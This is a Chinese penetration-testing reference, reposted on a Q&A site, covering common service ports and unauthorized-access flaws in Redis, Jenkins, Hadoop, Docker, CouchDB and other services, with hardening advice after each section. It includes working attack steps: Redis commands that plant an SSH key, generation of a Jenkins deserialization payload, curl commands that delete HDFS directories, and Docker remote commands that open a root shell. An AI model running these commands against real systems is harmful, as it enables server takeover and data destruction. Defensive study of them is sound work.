欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

常用的端口及未授权访问漏洞

时间:2023-05-03

一、介绍

用于快速定位端口,查找开放端口脆弱点,有利于外网渗透

1.1 具体端口 端口号使用弱点21telnet22SSH28退格漏洞、OpenSSL漏洞25SMTP协议53DNS服务67&68DHCP服务143IMAP协议161SNMP协议DHCP劫持1443mssql1521oracle2049NFS服务2181Zookeeper### Zookeeper未授权2375dockerdocker远程未授权3306mysql3389Windows 远程连接,Shift粘滞键后门,ms12-0205000DB25432PostgreSQL5900VNC服务拒绝服务攻击CVE-2015-5239权限提升CVE-2013-68866379Redis7001weblogic服务端口5000;监听端口4100;备份端口:4200sysbase9092pointbase9200Elasticsearch### Elasticsearch未授权11211memcached27017MongoDB

二、未授权访问漏洞

–未对测试网站进行任何改动破坏
其中包含漏洞描叙、安全建议、检查或利用工具等内容

:::success

:::

2.1 Redis未授权

Redis 默认情况下,会绑定在0.0.0.0:6379,会将Redis服务暴露到公网上,如果存在可匿名登陆访问,可以获取数据库信息和当以root身份运行前提下直接登录服务器甚至直接写入webshell。
工具:
https://github.com/caoxinyu/RedisClient
https://github.com/uglide/RedisDesktopManager



在上图的命令行下可利用Redis 写入webshell,前提条件是开了web并且知道路径才成功。Redis相关命令http://www.redis.net.cn/order/

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
生成本地服务器私钥跟公钥
#ssh-keygen –t rsa
然后将公钥写入test.txt文件,由于redis的存储
#(echo -e “nn”; cat id_rsa.pu; echo -e “nn”) > test.txt
再连接Redis写入文件
#cat test.txt | redis-cli -h xx.xx.xx.xx -x set aa
redis-cli -h 192.168.1.1
192.168.1.1:6379> config set dir /root/.ssh/
OK
192.168.1.1:6379> config set dbfilename “test”
OK
192.168.1.11:6379> save
OK

安全建议:(需要重启redis才能生效)
1、在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问redis。
2、设置访问密码
在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码。
3、修改redis服务运行账号
请以较低权限账号运行redis服务,且禁用该账号的登录权限。

2.2 Zookeeper未授权

ZooKeeper是一个开放源码的分布式应用程序协调服务,提供的功能包括:配置维护、名字服务、分布式同步、组服务等。Zookeeper默认是未授权就可以访问,特别对于公网开放的Zookeeper来说,这也导致了信息泄露的存在。通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令!
Zookeeper.py http://pan.baidu.com/s/1kVMH1Oj lvo8


安全建议:
禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

2.3 Mongodb未授权

MongoDB是一个基于分布式文件存储的数据库,Mongodb 在启动的时候提供了很多参数,如日志记录到哪个文件夹,是否开启认证等。如果没有在admin数据库中添加用户,此时不进行任何认证还是可以做任何操作(不管是否是以–auth 参数启动),直到在admin.system.users中添加了一个用户。加固的核心是只有在admin.system.users中添加用户之后,mongodb的认证,授权服务才能生效!默认空口令,它像一张白纸,需要管理员自己去写账号,使用默认空口令这将导致任何人无需进行账号认证就可以登陆到数据服务器。

工具: https://robomongo.org/download
攻击代码: https://github.com/yangbh/Hammer/blob/master/plugins/System/mongodb_unauth_access.py

安全建议:
可以修改端口和指定访问ip
在iptables配置
./mongo 127.0.0.1:27017 进入Mongo Shell

use admin
db.createUser(
{
user: “root”,
pwd: “YOUR PASSWORD”,
roles:
[
{
role: “userAdminAnyDatabase”,
db: “admin”
}
]

2.4 Elasticsearch未授权

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch未授权访问可导致ES中存储的数据被任意查看。
Elasticsearch.py http://pan.baidu.com/s/1kVMH1Oj lvo8


安全建议:
在config/elasticsearch.yml中为9200端口设置认证:
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user “admin” #账号
http.basic.password “admin_pw” #密码
http.basic.ipwhitelist [“localhost”, “127.0.0.1”] #白名单内的ip访问不需要通过账号和密码,支持ip和主机名,不支持ip区间或正则
http.basic.trusted_proxy_chains [] #信任代理列表
http.basic.log false #把无授权的访问事件添加到ES的日志
http.basic.xforward “” #记载代理路径的header字段名

2.5Jenkins未授权

Jenkins 是一款流行的软件项目管理平台,默认配置下所有人都可以访问平台上所有页面。攻击者可以利用平台中的scripts页面执行系统命令漏洞,获取服务器权限,造成服务器被入侵,从而导致数据泄露等安全事件。
jenkins.py和jenkins_payload.jar http://pan.baidu.com/s/1kVMH1Oj lvo8
测试过程

步骤一、生成序列化字符串

编译payload所需的文件都在payload目录下,主要有如下几种文件:
· Payload.java 生成Payload的Java文件源码
· payload.jar 生成完成的Payload
· *.jar 编译/运行上述源码需要的依赖库
· Jenkins.py 将Payload发送到目标的软件
因为我已经编译好了payload.jar,所以无需编译(当然你也可以尝试编译,反正源码都在)。直接执行下面命令,生成字节码文件:
java -jar payload.jar jenkins_poc.ser “touch /tmp/success”

jenkins_poc.ser是生成的字节码文件名 "touch …"是待执行的任意命令

执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。

步骤二、发送数据包,执行命令

修改jenkins.py,一是修改其中的URL为你目标URL,二是修改FILE_SER的文件名为你刚才生成的序列化文件的文件名。
执行(我用的py3成功,py2没测试,可能有BUG):


进入docker,发现/tmp/success成功被创建,说明命令执行漏洞利用成功:


安全建议:
在Jenkins管理页面添加访问密码,建议使用十位以上数字+字母+特殊符号的强密码 ;
建议不要将管理后台开放到互联网上,您可以使用ECS安全组策略做好访问控制,默认策略为拒绝所有通信,根据业务发布情况仅开放需要对外用户提供的服务,并控制好访问源IP。

2.6Ftp未授权

由于目标开启了匿名FTP服务,匿名FTP允许任意用户通过FTP来访问开放的目录和文件。恶意攻击者可以通过匿名FTP来访问开放的文件或目录来收集信息进行下一步的攻击。



安全建议:
关闭匿名FTP或限制访问者的权限

2.7Hadoop未授权

互联网上暴露的Hadoop服务器如果没有配置访问认证均可能受影响,攻击者针对HDFS的攻击删除了大多数目录,并会添加一个名为“NODATA4U_SECUREYOURSHIT”的新目录和“PLEASE_README”的目录,攻击者可能备份业务数据后在服务器上删除这部分数据,然后直接发送勒索邮件并索要勒索赎金。
黑客可以通过命令行操作多个目录下的数据,如进行删除操作。
curl -i -X DELETE “http://ip:50070/webhdfs/v1/tmp?op=DELETE&recursive=true“
curl -i -X PUT “http://ip:50070/webhdfs/v1/NODATA4U_SECUREYOURSHIT?op=MKDIRS



安全建议:
1) 如无必要,关闭Hadoop Web管理页面;
2) 开启服务级别身份验证,如Kerberos认证;
3) 部署Knox、Nginx之类的反向代理系统,防止未经授权用户访问;
4) 设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口,
详细端口列表如下:
a)HDFS
NameNode 默认端口 50070
DataNode 默认端口 50075
httpfs 默认端口14000
journalnode 默认端口 8480
b)YARN(JobTracker)
ResourceManager 默认端口8088
JobTracker 默认端口 50030
TaskTracker 默认端口 50060
c)Hue 默认端口 8080
d)YARN(JobTracker)
master 默认端口 60010
regionserver 默认端口60030
e)hive-server2 默认端口 10000
f)spark-jdbcserver 默认端口 10003
建议按照安全最小化原则,禁止公网对这部分端口访问,如果因业务需要必须对外开放,请配置安全组策略限制指定源IP才能访问这些端口。

2.8 SOLR 未授权

Solr管理后台功能可谓强大,但是真正线上,如果管理后台地址可以公开访问的话,不但core的结构会暴漏出来,索引库甚至可以被修改或删除。


安全建议:
在apache或其他服务器上做设置,平时禁用对外的访问地址,项目访问solr的内网地址(如:http://localhost:8080/solr/collection1);平时线下调试使用本地的solr,如需要调试线上的,可以临时开打对外地址,用完再关闭.

2.9Memcache未授权

memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的。由于memcached安全设计缺陷,客户端连接memcached服务器后无需认证就可读取、修改服务器缓存内容。

nmap脚本–script memcached-info
漏洞攻击演示:http://niiconsulting.com/checkmate/2013/05/memcache-exploit/


安全建议:
1、配置memcached监听本地回环地址127.0.0.1。
[root@local ~]# vim /etc/sysconfig/memcached
OPTIONS="-l 127.0.0.1" #设置本地为监听
[root@local ~]# /etc/init.d/memcached restart #重启服务
2、当memcached 配置为监听内网IP或公网IP时, 使用主机防火墙(iptalbes、 firewalld等)和 网络防火墙对memcached服务端口 进行过滤。

2.10Rsync未授权

rsync(remote synchronize)—Linux 下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。
如果/etc/rsyncd.conf下没有以下两行配置,则可能造成匿名访问:auth users=rsync_backup

认证的用户名,如果没有这行则表明是匿名,此用户与系统无关

secrets file = /rsync.pwd
#密码和用户名对比表,密码文件请自己生成
如果对方的配置信息为:
read only = no 【表示可以向里面写内容】 又恰巧是一个web目录的话,那我们就可以直接getshell了。

Rsync相关命令http://man.linuxde.net/rsync
metasploit 中关于允许匿名访问的 rsync 扫描模块:auxiliary/scanner/rsync/modules_list
nmap脚本–script rsync-list-modules
有些rsync仅仅是列出目录,如果访问目录需要口令的,针对 rsync 口令暴力破解的脚本–script rsync-brute --script-args ‘rsync-brute.module=www’

安全建议:
限定访问的IP
不允许匿名访问,添加用户口令

2.11NFS未授权

NFS(Network File System):是FreeBSD支持的文件系统中的一种, 它允许网络中的计算机之间通过TCP/IP网络共享资源,不正确的配置使用NFS,会造成安全问题。
NFS的不安全性主要体现于以下4个方面:

缺少对NFS的访问控制机制;NFS没有真正的用户验证机制,而只有对RPC/Mount请求的过程验证机制 ;较早的NFS可以使未授权用户获得有效的文件句柄在RPC远程调用中,一个SUID的程序就具有超级用户权限.


2.12Ldap未授权

LDAP模块默认是允许用户匿名访问存储在信息目录(也就是LDAP目录)中的信息的协议,可以获取所有用户及组织结构等信息,同时远程攻击者可以利用这个漏洞不使用口令访问受此漏洞影响的运行login_ldap的系统。

Nmap脚本–script ldap-brute --script-args
ldap.base=’“cn=users,dc=cqure,dc=net”’
工具: http://download.csdn.net/detail/aq070088/5171753

安全建议:
修改匿名访问控制指令(修改anyone为all)或
升级打补丁

2.13Couch db未授权

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful Javascript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。
Msf添加模块:
pt-get install couchDB
modify /etc/couchdb/default.ini
bind_address = 0.0.0.0

use exploit/multi/http/couchdb_unauth_exec

安全建议:
1、指定CouchDB绑定的IP (需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。
注:修改后只有本机才能访问CouchDB。
2、设置访问密码(需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。
3、设置WWW-Authenticate,强制认证。

2.14docker远程未授权

Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署,包括VMs(虚拟机)、bare metal、OpenStack 集群和其他的基础应用平台。在默认部署的情况下,存在未授权访问的漏洞,导致攻击者可执行任意命令。如写入后门、上传木马等进而完全控制服务器,盗取网站数据,影响网站的正常运营
验证方式:打开目标页面验证是否直接访问docker数据。
docker.py http://pan.baidu.com/s/1kVMH1Oj lvo8

安装docker client:
https://www.docker.com/products/docker-toolbox
要获取交互式shell,首先获取images:
docker -H tcp://xx.xx.xx.xx:2375 images
docker -H tcp:// xx.xx.xx.xx:2375 run -it --entrypoint /bin/bash ubuntu “-h”
这里设置了entrypoint为/bin/bash。shell到手了,如下图:

安全建议:
1、2375端口禁止对外开放。
Windows:windows+r调用运行>输入secpol.msc打开安全策略>配置ip安全策略>设置2375端口禁止外网访问
Linux:配置iptables -A INPUT –p tcp --dport 2375 -i 外网网卡名 -j drop,关闭2375端口对外开放
2、使用加密协议进行传输,防止MITM攻击
3、更改网络访问控制,根据Swarm官方文档配置合理的访问规则

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。